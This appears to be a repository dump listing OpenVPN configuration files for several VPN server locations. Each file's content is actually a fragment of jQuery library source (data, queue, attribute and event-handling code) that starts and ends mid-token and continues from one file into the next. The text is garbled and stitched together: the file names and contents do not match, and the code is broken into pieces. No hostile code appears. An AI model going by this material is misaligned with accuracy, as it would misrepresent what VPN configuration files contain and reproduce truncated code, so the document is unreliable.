| }); 54 | 55 | function dataAttr( elem, key, data ) { 56 | // If nothing was found internally, try to fetch any 57 | // data from the HTML5 data-* attribute 58 | if ( data === undefined && elem.nodeType === 1 ) { 59 | 60 | var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase(); 61 | 62 | data = elem.getAttribute( name ); 63 | 64 | if ( typeof data === "string" ) { 65 | try { 66 | data = data === "true" ? true : 67 | data === "false" ? false : 68 | data === "null" ? null : 69 | // Only convert to a number if it doesn't change the string 70 | +data + "" === data ? +data : 71 | rbrace.test( data ) ? jQuery.parseJSON( data ) : 72 | data; 73 | } catch( e ) {} 74 | 75 | // Make sure we set the data so it isn't changed later 76 | jQuery.data( elem, key, data ); 77 | 78 | } else { 79 | data = undefined; 80 | } 81 | } 82 | 83 | return data; 84 | } 85 | 86 | // checks a cache object for emptiness 87 | function isEmptyDataObject( obj ) { 88 | var name; 89 | for ( name in obj ) { 90 | 91 | // if the public data object is empty, the private is still empty 92 | if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) { 93 | continue; 94 | } 95 | if ( name !== "toJSON" ) { 96 | return false; 97 | } 98 | } 99 | 100 | return true; 101 | } 102 | jQuery.extend({ 103 | queue: function( elem, type, data ) { 104 | var queue; 105 | 106 | if ( elem ) { 107 | type = ( type || "fx" ) + "queue"; 108 | queue = jQuery._data( elem, type ); 109 | 110 | // Speed up dequeue by getting out quickly if this is just a lookup 111 | if ( data ) { 112 | if ( !queue || jQuery.isArray(data) ) { 113 | que -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Iceland.ovpn: -------------------------------------------------------------------------------- 1 | e ); 2 | } 3 | 4 | return data === undefined ? 5 | this : 6 | this.each(function() { 7 | var queue = jQuery.queue( this, type, data ); 8 | 9 | // ensure a hooks for this queue 10 | jQuery._queueHooks( this, type ); 11 | 12 | if ( type === "fx" && queue[0] !== "inprogress" ) { 13 | jQuery.dequeue( this, type ); 14 | } 15 | }); 16 | }, 17 | dequeue: function( type ) { 18 | return this.each(function() { 19 | jQuery.dequeue( this, type ); 20 | }); 21 | }, 22 | // Based off of the plugin by Clint Helfers, with permission. 23 | // http://blindsignals.com/index.php/2009/07/jquery-delay/ 24 | delay: function( time, type ) { 25 | time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; 26 | type = type || "fx"; 27 | 28 | return this.queue( type, function( next, hooks ) { 29 | var timeout = setTimeout( next, time ); 30 | hooks.stop = function() { 31 | clearTimeout( timeout ); 32 | }; 33 | }); 34 | }, 35 | clearQueue: function( type ) { 36 | return this.queue( type || "fx", [] ); 37 | }, 38 | // Get a promise resolved when queues of a certain type 39 | // are emptied (fx is the type by default) 40 | promise: function( type, obj ) { 41 | var tmp, 42 | count = 1, 43 | defer = jQuery.Deferred(), 44 | elements = this, 45 | i = this.length, 46 | resolve = function() { 47 | if ( !( --count ) ) { 48 | defer.resolveWith( elements, [ elements ] ); 49 | } 50 | }; 51 | 52 | if ( typeof type !== "string" ) { 53 | obj = type; 54 | type = undefined; 55 | } 56 | type = type || "fx"; 57 | 58 | while( i-- ) { 59 | tmp = jQuery._data( elements[ i ], type + "queueHooks" ); 60 | if ( tmp && tmp.empty ) { 61 | count++; 62 | tmp.empty.add( resolve ); 63 | } 64 | } 65 | resolve(); 66 | return defer.promise( obj ); 67 | } 68 | }); 69 | var nodeHook, boolHook, 70 | rclass = /[\t\r\n]/g, 71 | rreturn = /\r/g, 72 | rfocusable = /^(?:input|select|textarea|button|object)$/i, 73 | rclickable = /^(?:a|area)$/i, 74 | rboolean = /^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i, 75 | ruseDefault = /^(?:checked|selected)$/i, 76 | getSetAttribute = jQuery.support.getSetAttribute, 77 | getSetInput = jQuery.support.input; 78 | 79 | jQuery.fn.extend({ 80 | attr: function( name, value ) { 81 | return jQuery.access( this, jQuery.attr, name, value, arguments.length > 1 ); 82 | }, 83 | 84 | removeAttr: function( name ) { 85 | return this.each(function() { 86 | jQuery.removeAttr( this, name ); 87 | }); 88 | }, 89 | 90 | prop: function( name, value ) { 91 | return jQuery.access( this, jQuery.prop, name, value, arguments.length > 1 ); 92 | }, 93 | 94 | removeProp: function( name ) { 95 | name = jQuery.propFix[ name ] || name; 96 | return this.each(function() { 97 | // try/catch handles cases where IE balks (such as removing a property on window) 98 | try { 99 | -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Italy.ovpn: -------------------------------------------------------------------------------- 1 | className ? 2 | ( " " + elem.className + " " ).replace( rclass, " " ) : 3 | "" 4 | ); 5 | 6 | if ( cur ) { 7 | j = 0; 8 | while ( (clazz = classes[j++]) ) { 9 | // Remove *all* instances 10 | while ( cur.indexOf( " " + clazz + " " ) >= 0 ) { 11 | cur = cur.replace( " " + clazz + " ", " " ); 12 | } 13 | } 14 | elem.className = value ? jQuery.trim( cur ) : ""; 15 | } 16 | } 17 | } 18 | 19 | return this; 20 | }, 21 | 22 | toggleClass: function( value, stateVal ) { 23 | var type = typeof value, 24 | isBool = typeof stateVal === "boolean"; 25 | 26 | if ( jQuery.isFunction( value ) ) { 27 | return this.each(function( i ) { 28 | jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal ); 29 | }); 30 | } 31 | 32 | return this.each(function() { 33 | if ( type === "string" ) { 34 | // toggle individual class names 35 | var className, 36 | i = 0, 37 | self = jQuery( this ), 38 | state = stateVal, 39 | classNames = value.match( core_rnotwhite ) || []; 40 | 41 | while ( (className = classNames[ i++ ]) ) { 42 | // check each className given, space separated list 43 | state = isBool ? state : !self.hasClass( className ); 44 | self[ state ? "addClass" : "removeClass" ]( className ); 45 | } 46 | 47 | // Toggle whole class name 48 | } else if ( type === core_strundefined || type === "boolean" ) { 49 | if ( this.className ) { 50 | // store className if set 51 | jQuery._data( this, "__className__", this.className ); 52 | } 53 | 54 | // If the element has a class name or if we're passed "false", 55 | // then remove the whole classname (if there was one, the above saved it). 56 | // Otherwise bring back whatever was previously saved (if anything), 57 | // falling back to the empty string if nothing was stored. 58 | this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || ""; 59 | } 60 | }); 61 | }, 62 | 63 | hasClass: function( selector ) { 64 | var className = " " + selector + " ", 65 | i = 0, 66 | l = this.length; 67 | for ( ; i < l; i++ ) { 68 | if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) { 69 | return true; 70 | } 71 | } 72 | 73 | return false; 74 | }, 75 | 76 | val: function( value ) { 77 | var ret, hooks, isFunction, 78 | elem = this[0]; 79 | 80 | if ( !arguments.length ) { 81 | if ( elem ) { 82 | hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; 83 | 84 | if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) { 85 | return ret; 86 | } 87 | 88 | ret = elem.value; 89 | 90 | return typeof ret === "string" ? 91 | // handle most common string cases 92 | ret.replace(rreturn, "") : 93 | -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Netherlands.ovpn: -------------------------------------------------------------------------------- 1 | through all the selected options 2 | for ( ; i < max; i++ ) { 3 | option = options[ i ]; 4 | 5 | // oldIE doesn't update selected after form reset (#2551) 6 | if ( ( option.selected || i === index ) && 7 | // Don't return options that are disabled or in a disabled optgroup 8 | ( jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null ) && 9 | ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) { 10 | 11 | // Get the specific value for the option 12 | value = jQuery( option ).val(); 13 | 14 | // We don't need an array for one selects 15 | if ( one ) { 16 | return value; 17 | } 18 | 19 | // Multi-Selects return an array 20 | values.push( value ); 21 | } 22 | } 23 | 24 | return values; 25 | }, 26 | 27 | set: function( elem, value ) { 28 | var values = jQuery.makeArray( value ); 29 | 30 | jQuery(elem).find("option").each(function() { 31 | this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0; 32 | }); 33 | 34 | if ( !values.length ) { 35 | elem.selectedIndex = -1; 36 | } 37 | return values; 38 | } 39 | } 40 | }, 41 | 42 | attr: function( elem, name, value ) { 43 | var hooks, notxml, ret, 44 | nType = elem.nodeType; 45 | 46 | // don't get/set attributes on text, comment and attribute nodes 47 | if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { 48 | return; 49 | } 50 | 51 | // Fallback to prop when attributes are not supported 52 | if ( typeof elem.getAttribute === core_strundefined ) { 53 | return jQuery.prop( elem, name, value ); 54 | } 55 | 56 | notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); 57 | 58 | // All attributes are lowercase 59 | // Grab necessary hook if one is defined 60 | if ( notxml ) { 61 | name = name.toLowerCase(); 62 | hooks = jQuery.attrHooks[ name ] || ( rboolean.test( name ) ? boolHook : nodeHook ); 63 | } 64 | 65 | if ( value !== undefined ) { 66 | 67 | if ( value === null ) { 68 | jQuery.removeAttr( elem, name ); 69 | 70 | } else if ( hooks && notxml && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { 71 | return ret; 72 | 73 | } else { 74 | elem.setAttribute( name, value + "" ); 75 | return value; 76 | } 77 | 78 | } else if ( hooks && notxml && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { 79 | return ret; 80 | 81 | } else { 82 | 83 | // In IE9+, Flash objects don't have .getAttribute (#12945) 84 | // Support: IE9+ 85 | if ( typeof elem.getAttribute !== core_strundefined ) { 86 | ret = elem.getAttribute( name ); 87 | } 88 | 89 | // Non-existent attributes return null, we normalize to undefined 90 | return ret == null ? 91 | undefined : 92 | ret; 93 | } 94 | }, 95 | 96 | removeAttr: function( elem, value ) { 97 | var name, propName, 98 | i = 0 -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Romania.ovpn: -------------------------------------------------------------------------------- 1 | 2 | usemap: "useMap", 3 | frameborder: "frameBorder", 4 | contenteditable: "contentEditable" 5 | }, 6 | 7 | prop: function( elem, name, value ) { 8 | var ret, hooks, notxml, 9 | nType = elem.nodeType; 10 | 11 | // don't get/set properties on text, comment and attribute nodes 12 | if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { 13 | return; 14 | } 15 | 16 | notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); 17 | 18 | if ( notxml ) { 19 | // Fix name and attach hooks 20 | name = jQuery.propFix[ name ] || name; 21 | hooks = jQuery.propHooks[ name ]; 22 | } 23 | 24 | if ( value !== undefined ) { 25 | if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { 26 | return ret; 27 | 28 | } else { 29 | return ( elem[ name ] = value ); 30 | } 31 | 32 | } else { 33 | if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { 34 | return ret; 35 | 36 | } else { 37 | return elem[ name ]; 38 | } 39 | } 40 | }, 41 | 42 | propHooks: { 43 | tabIndex: { 44 | get: function( elem ) { 45 | // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set 46 | // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ 47 | var attributeNode = elem.getAttributeNode("tabindex"); 48 | 49 | return attributeNode && attributeNode.specified ? 50 | parseInt( attributeNode.value, 10 ) : 51 | rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? 52 | 0 : 53 | undefined; 54 | } 55 | } 56 | } 57 | }); 58 | 59 | // Hook for boolean attributes 60 | boolHook = { 61 | get: function( elem, name ) { 62 | var 63 | // Use .prop to determine if this attribute is understood as boolean 64 | prop = jQuery.prop( elem, name ), 65 | 66 | // Fetch it accordingly 67 | attr = typeof prop === "boolean" && elem.getAttribute( name ), 68 | detail = typeof prop === "boolean" ? 69 | 70 | getSetInput && getSetAttribute ? 71 | attr != null : 72 | // oldIE fabricates an empty string for missing boolean attributes 73 | // and conflates checked/selected into attroperties 74 | ruseDefault.test( name ) ? 75 | elem[ jQuery.camelCase( "default-" + name ) ] : 76 | !!attr : 77 | 78 | // fetch an attribute node for properties not recognized as boolean 79 | elem.getAttributeNode( name ); 80 | 81 | return detail && detail.value !== false ? 82 | name.toLowerCase() : 83 | undefined; 84 | }, 85 | set: function( elem, value, name ) { 86 | if ( value === false ) { 87 | // Remove boolean attributes when set to false 88 | jQuery.removeAttr( elem, name ); 89 | } else if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) { 90 | // IE<8 needs the *property* name 91 | elem.setAttribute( !getSetAttribute && jQuery.propFix[ n -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Sweden.ovpn: -------------------------------------------------------------------------------- 1 | ttribute( name )) 2 | ); 3 | } 4 | 5 | ret.value = value += ""; 6 | 7 | // Break association with cloned elements by also using setAttribute (#9646) 8 | return name === "value" || value === elem.getAttribute( name ) ? 9 | value : 10 | undefined; 11 | } 12 | }; 13 | 14 | // Set contenteditable to false on removals(#10429) 15 | // Setting to empty string throws an error as an invalid value 16 | jQuery.attrHooks.contenteditable = { 17 | get: nodeHook.get, 18 | set: function( elem, value, name ) { 19 | nodeHook.set( elem, value === "" ? false : value, name ); 20 | } 21 | }; 22 | 23 | // Set width and height to auto instead of 0 on empty string( Bug #8150 ) 24 | // This is for removals 25 | jQuery.each([ "width", "height" ], function( i, name ) { 26 | jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], { 27 | set: function( elem, value ) { 28 | if ( value === "" ) { 29 | elem.setAttribute( name, "auto" ); 30 | return value; 31 | } 32 | } 33 | }); 34 | }); 35 | } 36 | 37 | 38 | // Some attributes require a special call on IE 39 | // http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx 40 | if ( !jQuery.support.hrefNormalized ) { 41 | jQuery.each([ "href", "src", "width", "height" ], function( i, name ) { 42 | jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], { 43 | get: function( elem ) { 44 | var ret = elem.getAttribute( name, 2 ); 45 | return ret == null ? undefined : ret; 46 | } 47 | }); 48 | }); 49 | 50 | // href/src property should get the full normalized URL (#10299/#12915) 51 | jQuery.each([ "href", "src" ], function( i, name ) { 52 | jQuery.propHooks[ name ] = { 53 | get: function( elem ) { 54 | return elem.getAttribute( name, 4 ); 55 | } 56 | }; 57 | }); 58 | } 59 | 60 | if ( !jQuery.support.style ) { 61 | jQuery.attrHooks.style = { 62 | get: function( elem ) { 63 | // Return undefined in the case of empty string 64 | // Note: IE uppercases css property names, but if we were to .toLowerCase() 65 | // .cssText, that would destroy case senstitivity in URL's, like in "background" 66 | return elem.style.cssText || undefined; 67 | }, 68 | set: function( elem, value ) { 69 | return ( elem.style.cssText = value + "" ); 70 | } 71 | }; 72 | } 73 | 74 | // Safari mis-reports the default selected property of an option 75 | // Accessing the parent's selectedIndex property fixes it 76 | if ( !jQuery.support.optSelected ) { 77 | jQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, { 78 | get: function( elem ) { 79 | var parent = elem.parentNode; 80 | 81 | if ( parent ) { 82 | parent.selectedIndex; 83 | 84 | // Make sure that it also works with optgroups, see #5701 85 | if ( parent.parentNode ) { 86 | parent.parentNode.selectedIndex; 87 | } 88 | } 89 | return null; 90 | } 91 | }); 92 | } 93 | 94 | // IE6/7 call enctype encod -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Switzerland.ovpn: -------------------------------------------------------------------------------- 1 | pass in an object of custom data in lieu of the handler 2 | if ( handler.handler ) { 3 | handleObjIn = handler; 4 | handler = handleObjIn.handler; 5 | selector = handleObjIn.selector; 6 | } 7 | 8 | // Make sure that the handler has a unique ID, used to find/remove it later 9 | if ( !handler.guid ) { 10 | handler.guid = jQuery.guid++; 11 | } 12 | 13 | // Init the element's event structure and main handler, if this is the first 14 | if ( !(events = elemData.events) ) { 15 | events = elemData.events = {}; 16 | } 17 | if ( !(eventHandle = elemData.handle) ) { 18 | eventHandle = elemData.handle = function( e ) { 19 | // Discard the second event of a jQuery.event.trigger() and 20 | // when an event is called after a page has unloaded 21 | return typeof jQuery !== core_strundefined && (!e || jQuery.event.triggered !== e.type) ? 22 | jQuery.event.dispatch.apply( eventHandle.elem, arguments ) : 23 | undefined; 24 | }; 25 | // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events 26 | eventHandle.elem = elem; 27 | } 28 | 29 | // Handle multiple events separated by a space 30 | // jQuery(...).bind("mouseover mouseout", fn); 31 | types = ( types || "" ).match( core_rnotwhite ) || [""]; 32 | t = types.length; 33 | while ( t-- ) { 34 | tmp = rtypenamespace.exec( types[t] ) || []; 35 | type = origType = tmp[1]; 36 | namespaces = ( tmp[2] || "" ).split( "." ).sort(); 37 | 38 | // If event changes its type, use the special event handlers for the changed type 39 | special = jQuery.event.special[ type ] || {}; 40 | 41 | // If selector defined, determine special event api type, otherwise given type 42 | type = ( selector ? special.delegateType : special.bindType ) || type; 43 | 44 | // Update special based on newly reset type 45 | special = jQuery.event.special[ type ] || {}; 46 | 47 | // handleObj is passed to all event handlers 48 | handleObj = jQuery.extend({ 49 | type: type, 50 | origType: origType, 51 | data: data, 52 | handler: handler, 53 | guid: handler.guid, 54 | selector: selector, 55 | needsContext: selector && jQuery.expr.match.needsContext.test( selector ), 56 | namespace: namespaces.join(".") 57 | }, handleObjIn ); 58 | 59 | // Init the event handler queue if we're the first 60 | if ( !(handlers = events[ type ]) ) { 61 | handlers = events[ type ] = []; 62 | handlers.delegateCount = 0; 63 | 64 | // Only use addEventListener/attachEvent if the special events handler returns false 65 | if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { 66 | // Bind the global event handler to the element 67 | if ( elem.addEventListener ) { 68 | elem.addEventListener( type, eventHand -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/USA - Atlanta.ovpn: -------------------------------------------------------------------------------- 1 | ial = jQuery.event.special[ type ] || {}; 2 | type = ( selector ? special.delegateType : special.bindType ) || type; 3 | handlers = events[ type ] || []; 4 | tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ); 5 | 6 | // Remove matching events 7 | origCount = j = handlers.length; 8 | while ( j-- ) { 9 | handleObj = handlers[ j ]; 10 | 11 | if ( ( mappedTypes || origType === handleObj.origType ) && 12 | ( !handler || handler.guid === handleObj.guid ) && 13 | ( !tmp || tmp.test( handleObj.namespace ) ) && 14 | ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { 15 | handlers.splice( j, 1 ); 16 | 17 | if ( handleObj.selector ) { 18 | handlers.delegateCount--; 19 | } 20 | if ( special.remove ) { 21 | special.remove.call( elem, handleObj ); 22 | } 23 | } 24 | } 25 | 26 | // Remove generic event handler if we removed something and no more handlers exist 27 | // (avoids potential for endless recursion during removal of special event handlers) 28 | if ( origCount && !handlers.length ) { 29 | if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { 30 | jQuery.removeEvent( elem, type, elemData.handle ); 31 | } 32 | 33 | delete events[ type ]; 34 | } 35 | } 36 | 37 | // Remove the expando if it's no longer used 38 | if ( jQuery.isEmptyObject( events ) ) { 39 | delete elemData.handle; 40 | 41 | // removeData also checks for emptiness and clears the expando if empty 42 | // so use it instead of delete 43 | jQuery._removeData( elem, "events" ); 44 | } 45 | }, 46 | 47 | trigger: function( event, data, elem, onlyHandlers ) { 48 | var handle, ontype, cur, 49 | bubbleType, special, tmp, i, 50 | eventPath = [ elem || document ], 51 | type = core_hasOwn.call( event, "type" ) ? event.type : event, 52 | namespaces = core_hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : []; 53 | 54 | cur = tmp = elem = elem || document; 55 | 56 | // Don't do events on text and comment nodes 57 | if ( elem.nodeType === 3 || elem.nodeType === 8 ) { 58 | return; 59 | } 60 | 61 | // focus/blur morphs to focusin/out; ensure we're not firing them right now 62 | if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { 63 | return; 64 | } 65 | 66 | if ( type.indexOf(".") >= 0 ) { 67 | // Namespaced trigger; create a regexp to match event type in handle() 68 | namespaces = type.split("."); 69 | type = namespaces.shift(); 70 | namespaces.sort(); 71 | } 72 | ontype = type.indexOf(":") < 0 && "on" + type; 73 | 74 | // Caller can pass in a jQuery.Event object, Object, or just an event type string 75 | event = event[ jQuery.expando ] ? 76 | event : 77 | new jQuery.Event( type, typeof ev -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/USA - Dallas.ovpn: -------------------------------------------------------------------------------- 1 | > 1 ? 2 | bubbleType : 3 | special.bindType || type; 4 | 5 | // jQuery handler 6 | handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" ); 7 | if ( handle ) { 8 | handle.apply( cur, data ); 9 | } 10 | 11 | // Native handler 12 | handle = ontype && cur[ ontype ]; 13 | if ( handle && jQuery.acceptData( cur ) && handle.apply && handle.apply( cur, data ) === false ) { 14 | event.preventDefault(); 15 | } 16 | } 17 | event.type = type; 18 | 19 | // If nobody prevented the default action, do it now 20 | if ( !onlyHandlers && !event.isDefaultPrevented() ) { 21 | 22 | if ( (!special._default || special._default.apply( elem.ownerDocument, data ) === false) && 23 | !(type === "click" && jQuery.nodeName( elem, "a" )) && jQuery.acceptData( elem ) ) { 24 | 25 | // Call a native DOM method on the target with the same name name as the event. 26 | // Can't use an .isFunction() check here because IE6/7 fails that test. 27 | // Don't do default actions on window, that's where global variables be (#6170) 28 | if ( ontype && elem[ type ] && !jQuery.isWindow( elem ) ) { 29 | 30 | // Don't re-trigger an onFOO event when we call its FOO() method 31 | tmp = elem[ ontype ]; 32 | 33 | if ( tmp ) { 34 | elem[ ontype ] = null; 35 | } 36 | 37 | // Prevent re-triggering of the same event, since we already bubbled it above 38 | jQuery.event.triggered = type; 39 | try { 40 | elem[ type ](); 41 | } catch ( e ) { 42 | // IE<9 dies on focus/blur to hidden element (#1486,#12518) 43 | // only reproducible on winXP IE8 native, not IE9 in IE8 mode 44 | } 45 | jQuery.event.triggered = undefined; 46 | 47 | if ( tmp ) { 48 | elem[ ontype ] = tmp; 49 | } 50 | } 51 | } 52 | } 53 | 54 | return event.result; 55 | }, 56 | 57 | dispatch: function( event ) { 58 | 59 | // Make a writable jQuery.Event from the native event object 60 | event = jQuery.event.fix( event ); 61 | 62 | var i, ret, handleObj, matched, j, 63 | handlerQueue = [], 64 | args = core_slice.call( arguments ), 65 | handlers = ( jQuery._data( this, "events" ) || {} )[ event.type ] || [], 66 | special = jQuery.event.special[ event.type ] || {}; 67 | 68 | // Use the fix-ed jQuery.Event rather than the (read-only) native event 69 | args[0] = event; 70 | event.delegateTarget = this; 71 | 72 | // Call the preDispatch hook for the mapped type, and let it bail if desired 73 | if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { 74 | return; 75 | } 76 | 77 | // Determine handlers 78 | handlerQueue = jQuery.event.handlers.call( this, event, handlers ); 79 | 80 | // Run delegates first; they may want to stop propagation beneath us 81 | i = 0; 82 | while ( (matched = handlerQueue[ i++ ]) && !event.is -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/USA - Los Angeles.ovpn: -------------------------------------------------------------------------------- 1 | === 1 && (cur.disabled !== true || event.type !== "click") ) { 2 | matches = []; 3 | for ( i = 0; i < delegateCount; i++ ) { 4 | handleObj = handlers[ i ]; 5 | 6 | // Don't conflict with Object.prototype properties (#13203) 7 | sel = handleObj.selector + " "; 8 | 9 | if ( matches[ sel ] === undefined ) { 10 | matches[ sel ] = handleObj.needsContext ? 11 | jQuery( sel, this ).index( cur ) >= 0 : 12 | jQuery.find( sel, this, null, [ cur ] ).length; 13 | } 14 | if ( matches[ sel ] ) { 15 | matches.push( handleObj ); 16 | } 17 | } 18 | if ( matches.length ) { 19 | handlerQueue.push({ elem: cur, handlers: matches }); 20 | } 21 | } 22 | } 23 | } 24 | 25 | // Add the remaining (directly-bound) handlers 26 | if ( delegateCount < handlers.length ) { 27 | handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) }); 28 | } 29 | 30 | return handlerQueue; 31 | }, 32 | 33 | fix: function( event ) { 34 | if ( event[ jQuery.expando ] ) { 35 | return event; 36 | } 37 | 38 | // Create a writable copy of the event object and normalize some properties 39 | var i, prop, copy, 40 | type = event.type, 41 | originalEvent = event, 42 | fixHook = this.fixHooks[ type ]; 43 | 44 | if ( !fixHook ) { 45 | this.fixHooks[ type ] = fixHook = 46 | rmouseEvent.test( type ) ? this.mouseHooks : 47 | rkeyEvent.test( type ) ? this.keyHooks : 48 | {}; 49 | } 50 | copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props; 51 | 52 | event = new jQuery.Event( originalEvent ); 53 | 54 | i = copy.length; 55 | while ( i-- ) { 56 | prop = copy[ i ]; 57 | event[ prop ] = originalEvent[ prop ]; 58 | } 59 | 60 | // Support: IE<9 61 | // Fix target property (#1925) 62 | if ( !event.target ) { 63 | event.target = originalEvent.srcElement || document; 64 | } 65 | 66 | // Support: Chrome 23+, Safari? 67 | // Target should not be a text node (#504, #13143) 68 | if ( event.target.nodeType === 3 ) { 69 | event.target = event.target.parentNode; 70 | } 71 | 72 | // Support: IE<9 73 | // For mouse/key events, metaKey==false if it's undefined (#3368, #11328) 74 | event.metaKey = !!event.metaKey; 75 | 76 | return fixHook.filter ? fixHook.filter( event, originalEvent ) : event; 77 | }, 78 | 79 | // Includes some event props shared by KeyEvent and MouseEvent 80 | props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "), 81 | 82 | fixHooks: {}, 83 | 84 | keyHooks: { 85 | props: "char charCode key keyCode".split(" "), 86 | filter: function( event, original ) { 87 | 88 | // Add which for key events 89 | if ( event.which == null ) { 90 | event.which = original.charCode != null ? original.charCode : original.keyCode; 91 | } 92 | 93 | return event; 94 | } 95 | }, 96 | 97 | mouseHook -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/USA - Miami.ovpn: -------------------------------------------------------------------------------- 1 | , "input" ) && this.type === "checkbox" && this.click ) { 2 | this.click(); 3 | return false; 4 | } 5 | } 6 | }, 7 | focus: { 8 | // Fire native event if possible so blur/focus sequence is correct 9 | trigger: function() { 10 | if ( this !== document.activeElement && this.focus ) { 11 | try { 12 | this.focus(); 13 | return false; 14 | } catch ( e ) { 15 | // Support: IE<9 16 | // If we error on focus to hidden element (#1486, #12518), 17 | // let .trigger() run the handlers 18 | } 19 | } 20 | }, 21 | delegateType: "focusin" 22 | }, 23 | blur: { 24 | trigger: function() { 25 | if ( this === document.activeElement && this.blur ) { 26 | this.blur(); 27 | return false; 28 | } 29 | }, 30 | delegateType: "focusout" 31 | }, 32 | 33 | beforeunload: { 34 | postDispatch: function( event ) { 35 | 36 | // Even when returnValue equals to undefined Firefox will still show alert 37 | if ( event.result !== undefined ) { 38 | event.originalEvent.returnValue = event.result; 39 | } 40 | } 41 | } 42 | }, 43 | 44 | simulate: function( type, elem, event, bubble ) { 45 | // Piggyback on a donor event to simulate a different one. 46 | // Fake originalEvent to avoid donor's stopPropagation, but if the 47 | // simulated event prevents default then we do the same on the donor. 48 | var e = jQuery.extend( 49 | new jQuery.Event(), 50 | event, 51 | { type: type, 52 | isSimulated: true, 53 | originalEvent: {} 54 | } 55 | ); 56 | if ( bubble ) { 57 | jQuery.event.trigger( e, null, elem ); 58 | } else { 59 | jQuery.event.dispatch.call( elem, e ); 60 | } 61 | if ( e.isDefaultPrevented() ) { 62 | event.preventDefault(); 63 | } 64 | } 65 | }; 66 | 67 | jQuery.removeEvent = document.removeEventListener ? 68 | function( elem, type, handle ) { 69 | if ( elem.removeEventListener ) { 70 | elem.removeEventListener( type, handle, false ); 71 | } 72 | } : 73 | function( elem, type, handle ) { 74 | var name = "on" + type; 75 | 76 | if ( elem.detachEvent ) { 77 | 78 | // #8545, #7054, preventing memory leaks for custom events in IE6-8 79 | // detachEvent needed property on element, by name of that event, to properly expose it to GC 80 | if ( typeof elem[ name ] === core_strundefined ) { 81 | elem[ name ] = null; 82 | } 83 | 84 | elem.detachEvent( name, handle ); 85 | } 86 | }; 87 | 88 | jQuery.Event = function( src, props ) { 89 | // Allow instantiation without the 'new' keyword 90 | if ( !(this instanceof jQuery.Event) ) { 91 | return new jQuery.Event( src, props ); 92 | } 93 | 94 | // Event object 95 | if ( src && src.type ) { 96 | this.originalEvent = src; 97 | this.type = src.type; 98 | 99 | // Events bubbling up the document may have been marked as prevented 100 | // by a handler lower down the tree; reflect the correct value. 101 | this.isDefaultPrevented = ( src.defaultPrevented | -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/USA - New Jersey.ovpn: -------------------------------------------------------------------------------- 1 | tion() { 2 | this.isImmediatePropagationStopped = returnTrue; 3 | this.stopPropagation(); 4 | } 5 | }; 6 | 7 | // Create mouseenter/leave events using mouseover/out and event-time checks 8 | jQuery.each({ 9 | mouseenter: "mouseover", 10 | mouseleave: "mouseout" 11 | }, function( orig, fix ) { 12 | jQuery.event.special[ orig ] = { 13 | delegateType: fix, 14 | bindType: fix, 15 | 16 | handle: function( event ) { 17 | var ret, 18 | target = this, 19 | related = event.relatedTarget, 20 | handleObj = event.handleObj; 21 | 22 | // For mousenter/leave call the handler if related is outside the target. 23 | // NB: No relatedTarget if the mouse left/entered the browser window 24 | if ( !related || (related !== target && !jQuery.contains( target, related )) ) { 25 | event.type = handleObj.origType; 26 | ret = handleObj.handler.apply( this, arguments ); 27 | event.type = fix; 28 | } 29 | return ret; 30 | } 31 | }; 32 | }); 33 | 